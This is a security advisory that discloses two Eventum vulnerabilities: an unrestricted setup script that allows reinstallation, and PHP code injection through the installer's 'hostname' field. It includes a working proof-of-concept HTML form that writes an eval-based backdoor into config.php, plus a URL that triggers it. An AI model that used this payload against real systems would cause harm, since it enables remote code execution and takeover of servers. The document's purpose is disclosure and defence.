Multiple Vulnerabilities in Eventum

High-Tech Bridge Security Research Lab discovered vulnerability in Eventum, which can be exploited to reinstall and compromise vulnerable application.

1. Incorrect Default Permissions in Eventum: CVE-2014-1631
   The vulnerability exists due to incorrect default permission set for installation scripts. Access to installation script located at “/setup/index.php” is not restricted by default and the script is not deleted during the installation process. A remote attacker can access the script and reinstall vulnerable application.
   The installation script can be access by a remote unauthenticated user via the following URL:
   http://[host]/setup/index.php

2. Code Injection in Eventum: CVE-2014-1632
   The vulnerability exists due to insufficient sanitization of the HTTP POST parameter “hostname” in “/config/config.php” script during the installation process. A remote attacker can inject and execute arbitrary PHP code on the target system with privileges of the webserver. Successful exploitation requires access to application’s database, which can be achieved by providing address of attacker-controlled MySQL server.
   The following exploitation example injects a backdoor into “/config/config.php” file:
   <form action=“http://[host]/setup/index.php” method=“post” name=“main”>
   <input type=“hidden” name=“cat” value=“install”>
   <input type=“hidden” name=“hostname” value=“‘); eval($_GET[‘cmd’]); $tmp=(’”>
   <input type=“hidden” name=“relative” value=“/”>
   <input type=“hidden” name=“db_hostname” value=“db_hostname”>
   <input type=“hidden” name=“db_name” value=“db_name”>
   <input type=“hidden” name=“db_table_prefix” value=“db_table_prefix”>
   <input type=“hidden” name=“drop_tables” value=“yes”>
   <input type=“hidden” name=“db_username” value=“db_username”>
   <input type=“hidden” name=“setup[smtp][from]” value="[email protected]">
   <input type=“hidden” name=“setup[smtp][host]” value=“localhost”>
   <input type=“hidden” name=“setup[smtp][port]” value=“25”>
   <input type=“hidden” name=“” value=“”>
   <input type=“submit” id=“btn”>
   </form>
   After successful reinstallation an attacker can execute arbitrary PHP code on the system. The following example executes the “phpinfo()” PHP function on the vulnerable system:
   http://[host]/index.php?cmd=phpinfo%28%29;